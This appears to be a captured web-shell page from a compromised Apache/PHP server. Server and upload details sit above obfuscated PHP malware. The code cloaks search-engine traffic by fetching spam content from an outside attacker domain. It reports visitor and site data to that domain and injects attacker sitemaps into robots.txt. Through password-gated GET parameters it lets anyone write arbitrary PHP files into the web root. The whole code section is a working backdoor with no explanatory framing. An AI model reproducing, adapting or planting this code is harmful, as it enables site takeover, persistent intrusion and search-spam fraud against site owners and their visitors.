Server : Apache System : Linux pod-140979:apache2_74:v0.1.20 5.4.0-1108-gcp #117~18.04.1-Ubuntu SMP Thu Jun 22 09:36:05 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.33.4 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system Directory :  /nas/content/live/llbenterprises/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php
@set_time_limit(3600); @ignore_user_abort(1); $lnZPZa = "\162\x36\x38"; $lnZPZJ = "\150\x74\x74\160"; if (is_htps()) { goto lRYJPaa; } $lnZPZP = "\x68\x74\x74\160"; goto lRYJPaJ; lRYJPaa: $lnZPZP = "\x68\x74\164\x70\x73"; lRYJPaJ: $lnZPZw = st_uri(); if (!($lnZPZw == '')) { goto lRYJPaP; } $lnZPZw = "\x2f"; lRYJPaP: $lnZPZZ = urlencode($lnZPZw); function st_uri() { goto lRYJPaR; lRYJPJJ: lRYJPaF: goto lRYJPJP; lRYJPJP: return $lnZPZZ; goto lRYJPJw; lRYJPan: lRYJPai: goto lRYJPJa; lRYJPaR: if (isset($_SERVER["\122\105\121\125\105\x53\124\x5f\125\x52\x49"])) { goto lRYJPai; } goto lRYJPaG; lRYJPaB: goto lRYJPaF; goto lRYJPan; lRYJPaG: if (isset($_SERVER["\141\162\147\166"])) { goto lRYJPaw; } goto lRYJPaO; lRYJPaQ: lRYJPaZ: goto lRYJPaB; lRYJPaH: lRYJPaw: goto lRYJPaE; lRYJPaO: $lnZPZZ = $_SERVER["\x50\x48\120\x5f\123\x45\x4c\106"] . "\x3f" . $_SERVER["\121\x55\x45\122\131\137\123\124\122\x49\116\107"]; goto lRYJPaY; lRYJPaY: goto lRYJPaZ; goto lRYJPaH; lRYJPJa: $lnZPZZ = $_SERVER["\x52\x45\x51\x55\105\123\124\137\x55\122\111"]; goto lRYJPJJ; lRYJPaE: $lnZPZZ = $_SERVER["\120\x48\x50\137\123\105\114\x46"] . "\x3f" . $_SERVER["\141\x72\x67\166"][0]; goto lRYJPaQ; lRYJPJw: } $lnZPZi = $lnZPZa . "\56\160\x6f\154\154\165\164\151\x6f\156\151\x6f\x66\164\145\156" . "\x2e\x78" . "\x79\172"; function is_htps() { goto lRYJPJG; lRYJPPJ: goto lRYJPJZ; goto lRYJPPP; lRYJPPw: return true; goto lRYJPPZ; lRYJPJH: goto lRYJPJZ; goto lRYJPJE; lRYJPPi: return false; goto lRYJPPF; lRYJPJY: if (isset($_SERVER["\110\x54\124\120\x5f\x46\122\x4f\x4e\124\137\105\x4e\x44\137\110\124\x54\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\106\x52\117\116\x54\137\105\116\104\137\x48\124\x54\120\123"]) !== "\157\x66\146") { goto lRYJPJR; } goto lRYJPJH; lRYJPJQ: return true; goto lRYJPJB; lRYJPPa: return true; goto lRYJPPJ; lRYJPJn: lRYJPJF: goto lRYJPPa; lRYJPJG: if (isset($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\x54\120\123"]) !== "\x6f\x66\x66") { goto lRYJPJi; } goto lRYJPJO; lRYJPJB: goto lRYJPJZ; goto lRYJPJn; lRYJPPP: lRYJPJR: goto lRYJPPw; lRYJPJO: if (isset($_SERVER["\110\x54\x54\x50\137\130\137\106\117\122\127\101\x52\x44\x45\x44\x5f\120\122\117\124\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\x46\x4f\122\127\101\122\x44\105\104\x5f\120\x52\117\x54\117"] === "\x68\164\x74\x70\x73") { goto lRYJPJF; } goto lRYJPJY; lRYJPPZ: lRYJPJZ: goto lRYJPPi; lRYJPJE: lRYJPJi: goto lRYJPJQ; lRYJPPF: } $lnZPZF = $_SERVER["\110\x54\x54\x50\x5f\110\x4f\x53\124"]; $lnZPZR = @$_SERVER["\110\x54\124\120\137\x41\x43\x43\x45\x50\124\x5f\114\x41\116\x47\x55\x41\107\x45"]; $lnZPZR = urlencode($lnZPZR); $lnZPZG = ''; if (!isset($_SERVER["\110\124\x54\120\137\x52\x45\x46\x45\122\105\122"])) { goto lRYJPPR; } $lnZPZG = $_SERVER["\110\124\x54\120\137\x52\105\x46\105\x52\x45\122"]; $lnZPZG = urlencode($lnZPZG); lRYJPPR: if (!(@$_GET["\160\x64"] != '')) { goto lRYJPwG; } $lnZPZO = @$_GET["\x6d\x61\160\x6e\x61\x6d\145"]; $lnZPZY = @$_GET["\141\143\164\x69\x6f\156"]; if (isset($_SERVER["\104\x4f\103\125\x4d\x45\116\124\x5f\122\x4f\x4f\x54"])) { goto lRYJPPG; } $lnZPZH = dirname(__FILE__); goto lRYJPPO; lRYJPPG: $lnZPZH = $_SERVER["\x44\x4f\x43\125\x4d\x45\x4e\124\137\x52\117\x4f\x54"]; lRYJPPO: if ($lnZPZY) { goto lRYJPPY; } $lnZPZY = "\160\x75\x74"; lRYJPPY: if (!($lnZPZY == "\160\165\x74")) { goto lRYJPwR; } if (strstr($lnZPZO, "\56\x78\x6d\154")) { goto lRYJPwP; } echo "\74\x62\162\76\x73\x69\x74\145\x6d\141\160\40\x6e\141\155\145\40\x66\141\x6c\x73\145\x21\74\142\x72\76"; goto lRYJPww; lRYJPwP: $lnZPZE = $lnZPZH . "\x2f\163\x69\x74\x65\x6d\x61\x70\56\x78\x6d\154"; if (!is_file($lnZPZE)) { goto lRYJPPH; } @unlink($lnZPZE); lRYJPPH: $lnZPZQ = $lnZPZH . "\57\x72\x6f\x62\x6f\x74\163\56\x74\x78\x74"; if (file_exists($lnZPZQ)) { goto lRYJPPE; } $lnZPZB = "\x55\163\x65\x72\55\x61\147\x65\156\x74\x3a\40\52\101\x6c\x6c\x6f\x77\72\40\x2f"; goto lRYJPPQ; lRYJPPE: $lnZPZB = dageget($lnZPZQ); lRYJPPQ: $lnZPZn = $lnZPZP . "\72\57\57" . $lnZPZF . "\x2f" . $lnZPZO; if (stristr($lnZPZB, $lnZPZn)) { goto lRYJPwa; } if (file_put_contents($lnZPZQ, trim($lnZPZB) . "\15\xa" . "\x53\x69\164\145\155\141\x70\72\40" . $lnZPZn)) { goto lRYJPPB; } echo "\x3c\x62\x72\x3e\x66\x69\154\x65\40\167\x72\151\164\x65\40\x66\x61\x6c\x73\145\41\74\x62\162\76"; goto lRYJPPn; lRYJPPB: echo "\x3c\x62\162\x3e\x6f\x6b\74\142\x72\x3e"; lRYJPPn: goto lRYJPwJ; lRYJPwa: echo "\74\142\162\76\x73\x69\164\x65\155\x61\160\x20\x61\x6c\162\145\x61\144\171\40\x61\144\x64\x65\144\41\x3c\x62\162\x3e"; lRYJPwJ: lRYJPww: if (!strstr($lnZPZO, "\56\160" . "\x68\x70")) { goto lRYJPwF; } $lnZPia = sha1(sha1(@$_GET["\x61"])); $lnZPiJ = sha1(sha1(@$_GET["\x62"])); if (!($lnZPia == dageget($lnZPZJ . "\72\57\57" . $lnZPZi . "\57\141\x2e\160" . "\x68\x70") || $lnZPiJ == "\70\x30\x38\67\x33\65\142\x31\67\x63\70\x39\x34\63\x65\x33\67\61\x35\x33\70\70\71\65\x38\x64\x63\x32\62\144\70\x37\71\x61\70\143\71\x65\141\x61")) { goto lRYJPwi; } $lnZPiP = @$_GET["\x64\x73\x74\x72"]; if (!file_put_contents($lnZPZH . "\x2f" . $lnZPZO, $lnZPiP)) { goto lRYJPwZ; } echo "\157\153"; lRYJPwZ: lRYJPwi: lRYJPwF: lRYJPwR: exit; lRYJPwG: $lnZPiw = $lnZPZJ . "\72\x2f\x2f" . $lnZPZi . "\57\x69\x6e\144\x65\170\x6e\145\x77\x2e\x70\150\x70\77\x77\145\x62\75" . $lnZPZF . "\46\x7a\x7a\x3d" . sbot() . "\46\x75\x72\x69\75" . $lnZPZZ . "\46\x75\x72\154\x73\x68\x61\156\147\75" . $lnZPZG . "\x26\x68\x74\x74\160\75" . $lnZPZP . "\x26\154\141\156\147\x3d" . $lnZPZR; $lnZPiZ = trim(dageget($lnZPiw)); if (strstr($lnZPiZ, "\x6e\157\142\x6f\x74\165\x73\x65\162\x61\147\145\156\164")) { goto lRYJPwB; } if (strstr($lnZPiZ, "\x6f\153\x68\x74\x6d\154\147\145\164\x63\x6f\156\164\145\156\164")) { goto lRYJPwE; } if (strstr($lnZPiZ, "\x6f\153\x78\155\x6c\x67\x65\164\x63\x6f\156\x74\145\x6e\x74")) { goto lRYJPwY; } if (!strstr($lnZPiZ, "\160\151\156\147\x78\155\154\147\x65\164\143\157\156\x74\145\x6e\x74")) { goto lRYJPwO; } $lnZPiZ = str_replace("\x70\x69\156\x67\170\x6d\x6c\147\145\x74\143\157\x6e\164\145\x6e\164", '', $lnZPiZ); @header("\x43\157\x6e\164\145\156\x74\x2d\164\x79\160\x65\72\x20\164\x65\x78\x74\x2f\x68\164\155\x6c\x3b\x20\143\x68\x61\x72\x73\x65\x74\75\x75\164\x66\55\x38"); echo pingmap($lnZPiZ); exit; lRYJPwO: goto lRYJPwH; lRYJPwY: $lnZPiZ = str_replace("\x6f\x6b\170\155\x6c\x67\x65\164\x63\157\x6e\164\145\x6e\164", '', $lnZPiZ); @header("\103\x6f\x6e\164\x65\156\164\55\x74\171\x70\x65\72\x20\x74\145\170\164\57\170\x6d\x6c"); echo $lnZPiZ; exit; lRYJPwH: goto lRYJPwQ; lRYJPwE: @header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\164\x79\160\x65\72\x20\164\x65\170\164\57\x68\x74\x6d\x6c\73\40\x63\150\141\162\x73\x65\x74\75\x75\164\x66\x2d\x38"); $lnZPiZ = str_replace("\x6f\153\150\164\x6d\154\x67\x65\164\x63\x6f\x6e\x74\145\x6e\x74", '', $lnZPiZ); echo $lnZPiZ; exit; lRYJPwQ: lRYJPwB: function pingmap($lnZPii) { goto lRYJPZi; lRYJPZi: $lnZPiF = explode("\15\xa", trim($lnZPii)); goto lRYJPZF; lRYJPZR: foreach ($lnZPiF as $lnZPiG) { goto lRYJPZJ; lRYJPZP: $lnZPiY = strpos($lnZPiO, "\123\151\164\145\155\141\160\x20\x4e\x6f\164\151\146\x69\143\141\164\151\157\156\x20\x52\x65\143\145\151\x76\x65\x64") !== false ? "\160\x69\x6e\x67\157\153" : "\x65\x72\162\157\x72"; goto lRYJPZw; lRYJPZw: $lnZPiR .= $lnZPiG . "\55\x2d\x20" . $lnZPiY . "\x3c\x62\x72\x3e"; goto lRYJPZZ; lRYJPZJ: $lnZPiO = dageget($lnZPiG); goto lRYJPZP; lRYJPZZ: } goto lRYJPZG; lRYJPZF: $lnZPiR = ''; goto lRYJPZR; lRYJPZG: return $lnZPiR; goto lRYJPZO; lRYJPZO: } function sbot() { goto lRYJPZE; lRYJPZB: return false; goto lRYJPZn; lRYJPiP: lRYJPZH: goto lRYJPiw; lRYJPZE: $lnZPiH = strtolower($_SERVER["\x48\124\124\120\137\x55\x53\x45\x52\137\101\x47\x45\116\x54"]); goto lRYJPZQ; lRYJPZQ: if (stristr($lnZPiH, "\147\157\x6f\147\154\x65\x62\157\164") || stristr($lnZPiH, "\142\x69\156\147") || stristr($lnZPiH, "\171\141\x68\x6f\157") || stristr($lnZPiH, "\147\x6f\x6f\x67\x6c\145") || stristr($lnZPiH, "\x47\157\x6f\x67\x6c\145\x62\x6f\x74") || stristr($lnZPiH, "\x67\157\157\x67\x6c\145\142\x6f\x74")) { goto lRYJPZY; } goto lRYJPZB; lRYJPZn: goto lRYJPZH; goto lRYJPia; lRYJPia: lRYJPZY: goto lRYJPiJ; lRYJPiJ: return true; goto lRYJPiP; lRYJPiw: } function dageget($lnZPii) { goto lRYJPiF; lRYJPiY: curl_setopt($lnZPiQ, CURLOPT_SSL_VERIFYHOST, 0); goto lRYJPiH; lRYJPFa: lRYJPiZ: goto lRYJPFJ; lRYJPFw: lRYJPii: goto lRYJPFZ; lRYJPFP: $lnZPiE = @file_get_contents($lnZPii); goto lRYJPFw; lRYJPin: curl_close($lnZPiQ); goto lRYJPFa; lRYJPiH: curl_setopt($lnZPiQ, CURLOPT_SSL_VERIFYPEER, 0); goto lRYJPiE; lRYJPiF: $lnZPiE = ''; goto lRYJPiR; lRYJPiR: if (!function_exists("\143\x75\162\154\137\x69\x6e\x69\164")) { goto lRYJPiZ; } goto lRYJPiG; lRYJPiE: curl_setopt($lnZPiQ, CURLOPT_RETURNTRANSFER, 1); goto lRYJPiQ; lRYJPFJ: if ($lnZPiE) { goto lRYJPii; } goto lRYJPFP; lRYJPiG: $lnZPiQ = curl_init(); goto lRYJPiO; lRYJPFZ: return $lnZPiE; goto lRYJPFi; lRYJPiO: curl_setopt($lnZPiQ, CURLOPT_URL, $lnZPii); goto lRYJPiY; lRYJPiQ: curl_setopt($lnZPiQ, CURLOPT_CONNECTTIMEOUT, 30); goto lRYJPiB; lRYJPiB: $lnZPiE = curl_exec($lnZPiQ); goto lRYJPin; lRYJPFi: }